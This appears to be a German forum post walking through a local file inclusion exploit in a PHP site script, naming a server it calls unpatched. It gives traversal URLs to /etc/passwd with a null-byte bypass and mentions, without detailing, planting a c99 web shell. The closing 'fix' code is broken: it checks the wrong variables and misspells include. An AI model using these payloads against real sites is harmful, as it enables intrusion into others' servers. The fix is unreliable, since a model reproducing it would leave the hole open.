ich möchte hier mal auf eine kleine Lücke
in hen!'s Script hinweisen, weiß nicht, ob das noch niemandem
aufgefallen ist, aber ziemlich viele Server wie edg haben es nicht gefixxt.
Da ich immer der Meinung war, dass die Leute selber etwas rausfinden sollen,
poste ich hier kein Tutorial, wo ihr c&p machen könnt.
So, jetzt zum eigentlichen Exploit:
Code:
index.php?s=register
Code:
./pages/$s.php
Code:
index.php?s=register
So, nun, das können wir auch ausnutzen, so z.B. bei edg:
Code:
index.php?s=../../../../../../../../etc/passwd
Das liegt daran, dass er noch ein .php dranhängt, und somit aus
Code:
/etc/passwd
Code:
/etc/passwd.php
Aber das können wir dankk ASCII mit einem Nullbyte ganz einfach umgehen!
Code:
index.php?s=../../../../../../../../etc/passwd%00
Code:
%00 kennzeichnet einen String als beendet.
nicht viel, da die Passwörter in der shadow gespeichert werden, und darauf
haben wir keinen Zugriff.
An dieser Stelle höre ich auf, wie man eine c99 inserted, werde ich nicht beschreiben,
das solltet ihr selber können, und falls nicht, solltet ihr die Finger von der Lücke
lassen.
Wie ihr es fixxen könnt? Ganz einfach:
Ich benutze gerne eine Abfrage:
Code:
<?php $pages = array("home", "register", "login"); if (isset($_GET["s"]) && !empty($_GET["s"])) $page = $_GET["s"]; else $page = "main"; if (in_array($s, $s) && file_exists($s.".php")) include $s.".php"; else inlcude "home.php"; ?> #Quelle J0hn.X3r
RFI funktioniert hier nicht, ~getestet.
Danke an .SoNiice' der mir geholfen hat, die Lücke auszubauen,
und J0hn.X3r für den Fixx.
Mit freundlichen Grüßen,
'Daroo